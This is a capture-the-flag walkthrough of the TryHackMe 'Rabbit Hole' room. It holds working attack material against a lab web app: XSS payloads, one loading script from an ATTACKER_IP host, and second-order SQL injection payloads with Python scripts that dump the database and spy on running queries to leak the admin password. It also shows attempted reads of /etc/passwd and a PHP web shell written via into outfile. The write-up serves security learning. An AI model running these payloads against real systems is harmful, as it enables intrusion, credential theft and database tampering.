Skip to content

TryHackMe - Rabbit Hole

It's easy to fall into rabbit holes. - shamollash

Introduction


OS: Linux

URL: Rabbit Hole

Level: Hard


Avoid rabbit holes and use SQL Injection to get the flag.

Recon

First, we start Off with a Nmap Scan to check for open ports and services running on the machine.

┌──(kali㉿kali)-[~/THM/rabbitholeqq]
└─$ sudo nmap -sC -sV -oN nmap/initial $IP -v

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-27 20:57 EDT
[...SNIP...]
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.59 ((Debian))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Your page title here :)
|_http-server-header: Apache/2.4.59 (Debian)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set

[...SNIP...]

Only two ports are open, SSH and HTTP. Let's check the website.

Note

I'll be adding rabbithole.thm to my /etc/hosts file to make it easier to access the website.

Rabbit Hole

There are two links on the website, one to register and another to login. It also reminds us that there are anti-bruteforce measures in place.

Let's register an account and login.

logged in page

After logging in, We can see last logged-in users with max 2 users and five recent login timestamps for each user. (This assumption was wrong for more details see how it's implemented in the index.php file)

Notes:

  • user admin seems to login every minute.
  • each login takes around 5+ seconds.

Exploitation

Usually our goal is to login as an admin user to get the flag / access to admin-only features.

So, here is a list of all the things I've tried and failed. Instead of explaining each step in detail, I'll just go over them briefly.

Rabbit Holes

XSS

The username field in register accepts any character, and since admin logs in every time if we can inject a script in the username field, we might be able to steal the session cookie.

testuser</th></tr></thead><tbody></table><script>alert(1)</script>

XSS register user

XSS logged in

Our XSS payload is executed. So let's try use script src to point to our server and run xss payload everytime admin logs in.

testuser</th></tr></thead><tbody></table><script src="http://ATTACKER_IP/test.js"></script>

But even after admin logs in multiple times we never get a callback on our server. This likely means either the admin is blocking javascript execution or using a tool like curl to login.


Account Takeover

This HackTricks article lists a few methods

Unicode normalization doesn't work but using space in username initially seem to work.

  • register a user with username starting with space [space]admin
  • Now login with [space]admin[space]
  • in the homepage you'll only see login records for admin seemingly indicating that we've taken over the account.

But it actually is a logic error in the app

index.php
<?php
$stmt = $pdo->prepare('SELECT id, username FROM users ORDER BY id');

$stmt->execute();
echo '<div class="container"><div class="row"><div class="one-half column" style="margin-top: 25%">';
echo '<div><h4>Last logins</h4></div>';
echo "<div><a href=\"/logout.php\">Logout</a></div>\n";

while($row = $stmt->fetch()) {
  if ($row['username']===$_SESSION['username'] or $row['username']==='admin')
  {
    echo '<table class="u-full-width">';
    echo "\n<thead><th>User " . $row["id"].  " - " . $row['username'] ." last logins</th></thead><tbody>\n";
?>

This is because sql seems to ignore trailing spaces so [space]admin is same as [space]admin[space].

But when logging in php code set the username for the session variable from post request [space]admin[space] but the database returns the row for [space]admin causing the if condition to be false and not displaying the user in the homepage.


SQL Injection

Trying common SQL Injection login bypass payloads doesn't work.

Since we can create usernames with special characters, Let's try to create a user with " in username

username=test"user&password=test`

We can successfully create and even login with test"user. But once logged in, we get an SQL error.

SQL Error

index.php
[..SNIP..]
<?php
while($row = $stmt->fetch()) {
    if ($row['username']===$_SESSION['username'] or $row['username']==='admin')
    {
        echo '<table class="u-full-width">';
        echo "\n<thead><th>User " . $row["id"].  " - " . $row['username'] ." last logins</th></thead><tbody>\n";
        $stmt_logins = $pdo->prepare('SELECT * FROM logins where username ="' . $row['username'] . '" ORDER BY login_time DESC LIMIT 0,5');
    // output data of each row
        try {
            $stmt_logins->execute();
            while($rowg=$stmt_logins->fetch()) {
                echo "<tr><td>" . substr($rowg['login_time'],0,16) . "</td></tr>\n";
              }
        } catch (PDOException $e) {
            echo $e->getMessage();
        }
[..SNIP..]
?>

The logins query is not using prepared statements and directly concatenating the username from the database. So it's vulnerable to Stored SQL Injection or Second Order SQL Injection.


Creating payload

Since we know that the username is vulnerable to SQL Injection let's craft a payload to leak the data from the database

Since each payload takes three steps to accomplish, I wrote a python script to automate the process.

test_payload.py
import requests
import re

while True:
    username = input('\nEnter username: ')
    username = username.strip()
    if not username:
        continue

    data = {
        'username': username,
        'password': 'root',
        'submit': 'Submit+Query'
    }

    response = requests.post('http://rabbithole.thm/register.php', data=data, verify=False)

    response = requests.post('http://rabbithole.thm/login.php', data=data, verify=False, allow_redirects=False)
    print(response.status_code, dict(response.cookies))

    response = requests.get('http://rabbithole.thm/', cookies=dict(response.cookies), verify=False)

    re_data = re.search(r"(SQLSTAT.*)", response.text)
    if re_data:
        print(re_data.group(1))
    else:
        print(response.text)

It takes in a payload and then creates a user with that username and logs in to get the response from the server.

After trying for a bit UNION injection with 2 columns seems to work.

" UNION SELECT "col1","col2" -- -
┌──(kali㉿kali)-[~/THM/rabbitholeqq]
└─$ python test_payload.py

Enter username: " UNION SELECT "col1","col2" -- -
302 {'PHPSESSID': '4064ca03ff5b6114cb24b3827506e0b6'}

<!DOCTYPE html>
[...SNIP...]
<thead><th>User 1 - admin last logins</th></thead><tbody>
<tr><td>2024-10-28 02:37</td></tr>
[...SNIP...]
</tbody></table>
<p>" UNION SELECT "col1","col2" -- -</p><table class="u-full-width">
<thead><th>User 10 - " UNION SELECT "col1","col2" -- - last logins</th></thead><tbody>
<tr><td>col2</td></tr>
</tbody></table>

As we can see col2 is reflected back in the page. We can now use col2 to exfiltrate data from the database.


Manual exploitation

Using the mysql SQL injection cheat sheet from PayloadAllTheThings we can try to get database, table and column names.

First, I'll modify the python script to parse HTMl and display only errors and the actual data.

manual_exploit.py
manual_exploit.py
import requests
import re
from bs4 import BeautifulSoup


while True:
    username = input('\nEnter username: ')
    username = username.strip()
    if not username:
        continue

    data = {
        'username': username,
        'password': 'root',
        'submit': 'Submit+Query'
    }

    response = requests.post('http://rabbithole.thm/register.php', data=data)
    response = requests.post('http://rabbithole.thm/login.php', data=data)

    re_data = re.search(r"(SQLSTAT.*)", response.text)
    if re_data:
        print(re_data.group(1))
    else:
        soup = BeautifulSoup(response.text, 'html.parser')
        tables = soup.find_all('table')
        if len(tables)!=2:
            print('[-] Error: Expected 2 tables, found', len(tables))
            continue
        table = tables[1]
        for row in table.find_all('tr'):
            print(row.text)
┌──(kali㉿kali)-[~/THM/rabbitholeqq]
└─$ python manual_exploit.py

Enter username: " UNION ALL SELECT 1,schema_name FROM information_schema.schemata -- -
information_sche
web

Enter username: " UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema="web" -- -
users
logins

Enter username: " UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name="users" AND table_schema="web" -- -
id
username
password
group

Enter username: " UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name="logins" AND table_schema="web" -- -
username
login_time

Enter username: " UNION ALL SELECT 1, concat(username, ":", password) FROM web.users -- -
admin:0e3ab8e45a
foo:a51e47f64637
bar:de97e75e5b46
volta:63a9f0ea7b
[...SNIP...]
// list databases
" UNION ALL SELECT 1,schema_name FROM information_schema.schemata -- -

// list tables in database
" UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema="web" -- -

// list columns in table
" UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name="users" AND table_schema="web" -- -
" UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name="logins" AND table_schema="web" -- -


// dump username and password hash
" UNION ALL SELECT 1, concat(username, ":", password) FROM web.users -- -

But it looks like each row is limited to 16 characters. So we can't dump the full password hash.

Luckily for us sql has substr function which we can use to dump the password hash in chunks of 16 characters.

We will also add string 'empty_value' when the length of the substr output is 0 so null rows are not filtered out.

┌──(kali㉿kali)-[~/THM/rabbitholeqq]
└─$ python manual_exploit.py
Enter username: " UNION ALL SELECT 1,  IF(LENGTH(substr(concat(username, ":", password),1,16)) = 0, 'empty_value', substr(concat(username, ":", password),1,16)) FROM web.users -- -
admin:0e3ab8e45a
foo:a51e47f64637
bar:de97e75e5b46
volta:63a9f0ea7b
[....SNIP..]

Enter username: " UNION ALL SELECT 1,  IF(LENGTH(substr(concat(username, ":", password),17,16)) = 0, 'empty_value', substr(concat(username, ":", password),17,16)) FROM web.users -- -
c1163c2343990e42
5ab6bf5dd2c42d3e
04526a2afaed5f54
b98050796b649e85
[....SNIP..]

Enter username: " UNION ALL SELECT 1,  IF(LENGTH(substr(concat(username, ":", password),33,16)) = 0, 'empty_value', substr(concat(username, ":", password),33,16)) FROM web.users -- -
7c66ff
6181
39d7
481845
[....SNIP..]
" UNION ALL SELECT 1,  IF(LENGTH(substr(concat(username, ":", password),1,16)) = 0, 'empty_value', substr(concat(username, ":", password),1,16)) FROM web.users -- -
" UNION ALL SELECT 1,  IF(LENGTH(substr(concat(username, ":", password),17,16)) = 0, 'empty_value', substr(concat(username, ":", password),17,16)) FROM web.users -- -
" UNION ALL SELECT 1,  IF(LENGTH(substr(concat(username, ":", password),33,16)) = 0, 'empty_value', substr(concat(username, ":", password),33,16)) FROM web.users -- -
" UNION ALL SELECT 1,  IF(LENGTH(substr(concat(username, ":", password),49,16)) = 0, 'empty_value', substr(concat(username, ":", password),49,16)) FROM web.users -- -

concat the output and try to crack the md5 hashes.

admin:0e3ab8e45ac1163c2343990e427c66ff    # could not crack
foo  :a51e47f646375ab6bf5dd2c42d3e6181    # rabbit
bar  :de97e75e5b4604526a2afaed5f5439d7    # hole
volta:63a9f0ea7bb98050796b649e85481845    # root

Cracking the hashes was another rabbit hole. Trying to manually dump the logins table doesn't yield any result either.


More rabbit holes

  • Stacked quires

    Stacked queries is enabled, so we can update admins password hash to our known hash and login as admin.

    "; update web.users set password='63a9f0ea7bb98050796b649e85481845' where username='admin' -- -
    

    But logging in as admin doesn't give us any flag / admin-only features.

  • load_file / into outfile

    We can't use load_file or into outfile to read files from the server due to insufficient permissions.

    " UNION ALL SELECT 1, load_file('/etc/passwd') -- -
    " UNION SELECT 1, "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/test.php" -- -
    

Automated exploitation

I was out of ideas at this point in time and decided to look for any stored variables inside the information_schema database using the mariadb documentation.

But doing this manually took a lot of time so I decided to write a script to automate the process and dump the entire information_schema database.

dump_db.py
dump_db.py
import httpx
import re
import asyncio
import json
from pathlib import Path
from bs4 import BeautifulSoup

MAX_CHAR_LEN = 16


async def fetch(payload):
    print(payload)
    async with httpx.AsyncClient(timeout=20) as client:
        data = {
            'username': payload,
            'password': 'root',
            'submit': 'Submit+Query'
        }
        response = await client.post('http://rabbithole.thm/register.php', data=data)
        response = await client.post('http://rabbithole.thm/login.php', data=data, follow_redirects=True)
    return response


def parse_tables(response, payload):
    re_data = re.search(r"(SQLSTATE\[.*)", response.text)
    if re_data:
        # Print error message, payload and continue
        print(re_data.group(1), payload)
        with open('error3.log', 'a', encoding='utf-8') as f:
            f.write(f"-------------\n{payload}\n{response.text}\n-----------------\n\n")

        return []

    soup = BeautifulSoup(response.text, 'html.parser')
    tables = soup.find_all('table')

    if len(tables) != 2:
        print('[-] Error: Expected 2 tables, found', len(tables))
        with open('error2.log', 'a', encoding='utf-8') as f:
            f.write(f"-------------\n{payload}\n{response.text}\n-----------------\n\n")
        return []

    table = tables[1]

    data = []
    for row in table.find_all('tr'):
        data.append(row.text)

    return data


async def get_len(payload):
    response = await fetch(payload)
    data = parse_tables(response, payload)
    if not data:
        return 0
    if not data[0].strip().isnumeric():
        with open('error.log', 'a', encoding='utf-8') as f:
            f.write(f"-------------\n{payload}\n{response.text}\n-----------------\n\n")
        return 0

    max_column_len = int(data[0])

    return max_column_len


async def get_coulm_data(coulum_name, table_name, db_name):
    payload = f'" UNION ALL SELECT 1, MAX(LENGTH({db_name}.{table_name}.{coulum_name})) FROM {db_name}.{table_name} -- -'
    max_column_len = await get_len(payload)
    print(f'[+] Max column length for {coulum_name} is {max_column_len}')

    datas = []
    responses = []

    for i in range(1, max_column_len + 1, MAX_CHAR_LEN):
        payload = (f'" UNION ALL SELECT 1,IF(LENGTH(SUBSTR({db_name}.{table_name}.{coulum_name}, {i}, {MAX_CHAR_LEN})) '
                   f'= 0, "empty_value", SUBSTR({db_name}.{table_name}.{coulum_name}, {i}, {MAX_CHAR_LEN})) FROM '
                   f'{db_name}.{table_name} -- -')
        responses.append(asyncio.create_task(fetch(payload)))

    for task in responses:
        response = await task
        data = parse_tables(response, payload)
        datas.append(data)

    fixed_data = {}

    for data_table in datas:
        for idx, data in enumerate(data_table):
            if data == "empty_value":
                continue
            if idx not in fixed_data:
                fixed_data[idx] = data
            else:
                fixed_data[idx] += data

    return list(fixed_data.values())


async def get_coulm_names(table_name, db_name):
    payload = (f'" UNION ALL SELECT 1, MAX(LENGTH(column_name)) FROM Information_schema.columns WHERE '
               f'table_name="{table_name}" and table_schema="{db_name}" -- -')
    max_coulmn_name_len = await get_len(payload)

    print(f'[+] Max column name length for {table_name} is {max_coulmn_name_len}')

    datas = []
    responses = []

    for i in range(1, max_coulmn_name_len + 1, MAX_CHAR_LEN):
        payload = (f'" UNION ALL SELECT 1,IF(LENGTH(SUBSTR(column_name, {i}, {MAX_CHAR_LEN})) = 0, '
                   f'"empty_value", SUBSTR(column_name, {i}, {MAX_CHAR_LEN})) FROM Information_schema.columns '
                   f'WHERE table_name="{table_name}" and table_schema="{db_name}" -- -')
        responses.append(asyncio.create_task(fetch(payload)))

    for task in responses:
        response = await task
        data = parse_tables(response, payload)
        datas.append(data)

    fixed_data = {}

    for data_table in datas:
        for idx, data in enumerate(data_table):
            if data == "empty_value":
                continue
            if idx not in fixed_data:
                fixed_data[idx] = data
            else:
                fixed_data[idx] += data

    return list(fixed_data.values())


async def get_table_names(db_name):
    payload = f'" UNION ALL SELECT 1, MAX(LENGTH(table_name)) FROM Information_schema.tables WHERE table_schema="{db_name}" -- -'
    max_table_name_len = await get_len(payload)

    print(f'[+] Max table name length is {max_table_name_len}')

    datas = []
    responses = []

    for i in range(1, max_table_name_len + 1, MAX_CHAR_LEN):
        payload = (f'" UNION ALL SELECT 1,IF(LENGTH(SUBSTR(table_name, {i}, {MAX_CHAR_LEN})) = 0, "empty_value", '
                   f'SUBSTR(table_name, {i}, {MAX_CHAR_LEN})) FROM Information_schema.tables WHERE '
                   f'table_schema="{db_name}" -- -')
        responses.append(asyncio.create_task(fetch(payload)))

    for task in responses:
        response = await task
        data = parse_tables(response, payload)
        datas.append(data)

    fixed_data = {}

    for data_table in datas:
        for idx, data in enumerate(data_table):
            if data == "empty_value":
                continue
            if idx not in fixed_data:
                fixed_data[idx] = data
            else:
                fixed_data[idx] += data

    return list(fixed_data.values())


async def main():
    db_name = 'information_schema'

    table_names = await get_table_names(db_name)
    print(table_names)

    db_data = dict.fromkeys(table_names, {})

    table_tasks = []
    for table_name in table_names:
        coulmn_tasks = asyncio.create_task(get_coulm_names(table_name, db_name))
        table_tasks.append((table_name, coulmn_tasks))

    for table_name, coulmn_task in table_tasks:
        coulmn_names = await coulmn_task
        # await get_coulm_names(table_name)
        print(coulmn_names)
        coulmns = dict.fromkeys(coulmn_names, [])
        db_data[table_name] = coulmns

        coulmn_data_tasks = []
        for coulmn_name in coulmn_names:
            coulmn_task = asyncio.create_task(get_coulm_data(coulmn_name, table_name, db_name))

            coulmn_data_tasks.append((coulmn_name, coulmn_task))

        for coulmn_name, coulmn_task in coulmn_data_tasks:
            coulmn_data = await coulmn_task
            print(coulmn_data)
            coulmns[coulmn_name] = coulmn_data
            """await get_coulm_data(coulmn_name, table_name)
            print(coulmn_data)
            coulmns[coulmn_name] = coulmn_data"""

        Path(f"{db_name}.json").write_text(json.dumps(db_data, indent=4, default=str), encoding='utf-8')


if __name__ == '__main__':
    asyncio.run(main())

This script asynchronously dumps the entire information_schema database and stores the data in a json file.

But trying to grep for the flag / any other possible fields didn't yield any results.

As a last ditch effort I tried to manually look at the dumped information_schema.json file

information_schema.json processlist

Though jumbled up, the info column in the information_schema.processlist seems to contain the payloads the script sent in to dump the DB

Reading the MariaDB documentation for information_schema.processlist we can see that the info column contains the query that is being executed.

So we potentially have a way to spy on the queries executed.


Spying on queries

As we took note before admin seems to login every minute and each login takes five seconds.

So we have a five second window to spy on the queries being executed when admin logs in.

" UNION ALL SELECT 1, info from information_schema.processlist WHERE info not like "%info%" -- -

So let's again write a script to dump the queries being executed.

dump_queries.py
dump_queries.py
import requests
import re
import asyncio
from bs4 import BeautifulSoup
import time

MAX_CHAR_LEN = 16


def main():
    payload = '"'
    for i in range(1, 200, MAX_CHAR_LEN):
        payload += (f' union ALL select 0,SUBSTR(info,{i}, {MAX_CHAR_LEN}) from information_schema.processlist'
                    f' where info not like "%info%" ')
    payload += ' -- -'

    data = {
        'username': payload,
        'password': 'root',
        'submit': 'Submit+Query'
    }

    response = requests.post('http://rabbithole.thm/register.php', data=data)
    response = requests.post('http://rabbithole.thm/login.php', data=data, allow_redirects=False)
    cookies = dict(response.cookies)
    print(payload, "\n\n")

    try:
        while True:
            response = requests.get('http://rabbithole.thm/', cookies=cookies)
            row_data = []

            soup = BeautifulSoup(response.text, 'html.parser')
            tables = soup.find_all('table')
            if len(tables) != 2:
                print('[-] Error: Expected 2 tables, found', len(tables))
                continue

            table = tables[1]
            for row in table.find_all('tr'):
                if row.text:
                    row_data.append(row.text)

            if row_data:
                print(''.join(row_data), "\n\n")

            time.sleep(0.5)
    except KeyboardInterrupt:
        print('Exiting...')
        exit(0)


if __name__ == '__main__':
    main()

This script will dump the queries being executed on the database every 0.5 seconds.

Or you can just use the payload below (generated using the above script) to register a account and then refresh the browser till you see the query.

dump query payload
" union ALL select 0,SUBSTR(info,1, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,17, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,33, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,49, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,65, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,81, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,97, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,113, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,129, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,145, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,161, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,177, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,193, 16) from information_schema.processlist where info not like "%info%"  -- -

manual login query dump

┌──(kali㉿kali)-[~/THM/rabbitholeqq]
└─$ python test_process_list.py
302 {'PHPSESSID': '1bc75883d42db0d6b7a1c64f6d030b38'}
" union ALL select 0,SUBSTR(info,1, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,17, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,33, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,49, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,65, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,81, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,97, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,113, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,129, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,145, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,161, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,177, 16) from information_schema.processlist where info not like "%info%"  union ALL select 0,SUBSTR(info,193, 16) from information_schema.processlist where info not like "%info%"  -- -

SELECT * from users where (username= 'admin' and password=md5('REDACTED') ) UNION ALL SELECT null,null,null,SLEEP(5) LIMIT 2

SELECT * from users where (username= 'admin' and password=md5('REDACTED') ) UNION ALL SELECT null,null,null,SLEEP(5) LIMIT 2

SELECT * from users where (username= 'admin' and password=md5('REDACTED') ) UNION ALL SELECT null,null,null,SLEEP(5) LIMIT 2

^CExiting...

Looks like admins password is leaked in the query.

This only happens because the php code is passing the password and letting sql handle the hashing instead of first hashing the password and then passing it to the sql query.

login.php
<?php
[...SNIP...]
if (isset($_POST['username'])&&isset($_POST['password'])) {
    $stmt = $pdo->prepare('SELECT * from users where (username= ? and password=md5(?) ) UNION ALL SELECT null,null,null,SLEEP(5) LIMIT 2');
    $stmt->execute([$_POST['username'], $_POST['password']]);

    if ($stmt->rowCount() === 2 ) {
    $row=$stmt->fetch();
      $_SESSION['logged_in']=true;
      $_SESSION['username']=$_POST['username'];

      $stmt = $pdo->prepare('INSERT INTO logins values ( ?, NOW())');
      $stmt->execute([$_POST['username']]);

      header('Location: /');
      die();

  }
}
[...SNIP...]
?>

Now ssh into the machine to get your flag.

```shell
┌──(kali㉿kali)-[~/THM/rabbitholeqq]
└─$ ssh [email protected]
[email protected]'s password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@ubuntu-jammy:~$ cat flag.txt
THM{REDACTED}